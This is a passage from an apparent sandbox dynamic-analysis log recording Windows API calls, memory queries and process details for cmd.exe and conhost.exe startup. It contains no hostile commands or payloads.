_Argv=0x7ff790a79208, _Env=0x7ff790a79210) returned 0 [0321.109] _onexit (_Func=0x7ff790a57fd0) returned 0x7ff790a57fd0 [0321.109] _onexit (_Func=0x7ff790a57fe0) returned 0x7ff790a57fe0 [0321.109] _onexit (_Func=0x7ff790a57ff0) returned 0x7ff790a57ff0 [0321.110] _onexit (_Func=0x7ff790a58000) returned 0x7ff790a58000 [0321.110] _onexit (_Func=0x7ff790a58010) returned 0x7ff790a58010 [0321.110] _onexit (_Func=0x7ff790a58020) returned 0x7ff790a58020 [0321.110] GetCurrentThreadId () returned 0xb1c [0321.110] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xb1c) returned 0x70 [0321.111] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x7fffc5200000 [0321.111] GetProcAddress (hModule=0x7fffc5200000, lpProcName="SetThreadUILanguage") returned 0x7fffc521a990 [0321.111] SetThreadUILanguage (LangId=0x0) returned 0x409 [0321.896] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0321.896] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x61a30ffe98 | out: phkResult=0x61a30ffe98*=0x0) returned 0x2 [0321.896] VirtualQuery (in: lpAddress=0x61a30ffe84, lpBuffer=0x61a30ffe00, dwLength=0x30 | out: lpBuffer=0x61a30ffe00*(BaseAddress=0x61a30ff000, AllocationBase=0x61a3000000, AllocationProtect=0x4, __alignment1=0xffff9209, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0321.896] VirtualQuery (in: lpAddress=0x61a3000000, lpBuffer=0x61a30ffe00, dwLength=0x30 | out: lpBuffer=0x61a30ffe00*(BaseAddress=0x61a3000000, AllocationBase=0x61a3000000, AllocationProtect=0x4, __alignment1=0xffff9209, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0321.896] VirtualQuery (in: lpAddress=0x61a3001000, lpBuffer=0x61a30ffe00, dwLength=0x30 | out: lpBuffer=0x61a30ffe00*(BaseAddress=0x61a3001000, AllocationBase=0x61a3000000, AllocationProtect=0x4, __alignment1=0xffff9209, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30 [0321.896] VirtualQuery (in: lpAddress=0x61a3004000, lpBuffer=0x61a30ffe00, dwLength=0x30 | out: lpBuffer=0x61a30ffe00*(BaseAddress=0x61a3004000, AllocationBase=0x61a3000000, AllocationProtect=0x4, __alignment1=0xffff9209, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0321.896] VirtualQuery (in: lpAddress=0x61a3100000, lpBuffer=0x61a30ffe00, dwLength=0x30 | out: lpBuffer=0x61a30ffe00*(BaseAddress=0x61a3100000, AllocationBase=0x61a3100000, AllocationProtect=0x4, __alignment1=0xffff9209, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0321.896] GetConsoleOutputCP () Thread: id = 113 os_tid = 0xbe0 Process: id = "16" image_name = "conhost.exe" filename = "c:\\windows\\system32\\conhost.exe" page_root = "0xfc6d000" os_pid = "0x9d0" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "15" os_parent_pid = "0xb88" cmd_line = "\\??\\C:\\WINDOWS\\system32\\conhost.exe 0xffffffff -ForceV1" cur_dir = "C:\\WINDOWS" os_username = "NQDPDE\\FD1HVy" bitness = "64" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0001b334" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 93 os_tid = 0xadc Thread: id = 96 os_tid = 0xbfc Thread: id = 107 os_tid = 0xd5c Thread: id = 108 os_tid = 0xd64 Thread: id = 109 os_tid = 0xd68 Process: id = "17" image_name = "cmd.exe" filename = "c:\\windows\\system32\\cmd.exe" page_root = "0x12736000" os_pid = "0xd74" os_integrity_level = "0x2000" os_privileges = "0x40800000" monitor_reason = "child_process" parent_id = "6" os_parent_pid = "0xd88" cmd_line = "\"C:\\WINDOWS\\system32\\cmd.exe\"" cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NQDPDE\\FD1HVy" bitness = "64" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0001b334" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 110 os_tid = 0xd70 Process: id = "18" image_name = "conhost.exe" filename = "c:\\windows\\system32\\conhost.exe" page_root = "0x12870000" os_pid = "0xd78" os_integrity_level = "0x2000" os_privileges = "0x40800000" monitor_reason = "child_process" parent_id = "17" os_parent_pid = "0xd74" cmd_line = "\\??\\C:\\WINDOWS\\system32\\conhost.exe 0xffffffff -ForceV1" cur_dir = "C:\\WINDOWS" os_username = "NQDPDE\\FD1HVy" bitness = "64" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0001b334" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 111 os_tid = 0xd60 Thread: id = 112 os_tid = 0xd58 Thread: id = 114 os_tid = 0xe0c